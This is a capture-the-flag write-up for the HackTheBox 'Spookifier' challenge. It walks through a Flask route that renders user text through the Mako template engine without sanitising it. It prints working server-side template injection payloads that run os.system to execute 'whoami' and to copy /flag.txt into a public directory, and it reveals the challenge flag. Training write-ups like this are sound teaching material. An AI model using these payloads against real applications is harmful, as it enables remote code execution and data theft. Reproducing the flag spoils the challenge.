HTB Challenge Write-Up: Spookifier (Very Easy)
Challenge Overview
- Name: Spookifier
- Platform: HackTheBox (HTB)
- Difficulty: Very Easy
- Category: Web Exploitation
- Vulnerability: Server-Side Template Injection (SSTI)
- Goal: Exploit the SSTI vulnerability to retrieve the flag.
They Give this site to exploit:
Step 1: Understanding the Challenge
The challenge involves a web application that takes user input, processes it, and renders the result using a templating engine. The goal is to exploit the application to retrieve the flag.
Application Behavior
- The application has a single input field where users can enter text.
- The text is processed and displayed in a “spooky” format.
- The backend uses the Mako templating engine, which is vulnerable to Server-Side Template Injection (SSTI).
Step 2: Static Code Analysis
Before exploiting the application, let’s analyze the provided code to identify potential vulnerabilities. We are provided with the Python source code of the web application, which is built with Flask. This is application/blueprints/routes.py
Code Snippet
from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookifyweb = Blueprint('web', __name__)@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html', output=converted)
return render_template('index.html', output='')
Analysis
- User Input Handling:
- The
textparameter is retrieved from the query string usingrequest.args.get('text'). - This input is passed directly to the
spookifyfunction without any sanitization or validation.
- Templating Engine:
- The application uses the Mako templating engine (
flask_mako), which allows Python code execution within templates. - The
render_templatefunction renders theindex.htmltemplate with theoutputvariable, which contains the user-controlledconvertedvalue.
- Vulnerability:
- Since the user input (
text) is directly embedded into the template, an attacker can inject malicious Mako template syntax. - This leads to Server-Side Template Injection (SSTI), allowing arbitrary code execution.
Exploitation
To confirm the vulnerability, we can test if the application executes Linux commands:
- Enter the payload
${__import__('os').system('whoami')}in the input field.
If the application returns 0, it confirms that the command was executed successfully (though the output is not displayed).
Step 3.2: Move the Flag
- Since
os.systemdoes not return command output, we can use it to move the flag to a publicly accessible directory. For example:
${self.module.cache.util.os.system("cp /flag.txt /app/application/static/images")}Step 3.3: Access the Flag
- After moving the flag, access it directly via the browser:
The flag will be displayed:
HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}Final Thoughts
This challenge demonstrates how Server-Side Template Injection (SSTI) can be exploited to execute arbitrary commands and retrieve sensitive information. By moving the flag to a publicly accessible directory, we bypass the limitation of os.system not displaying command output.
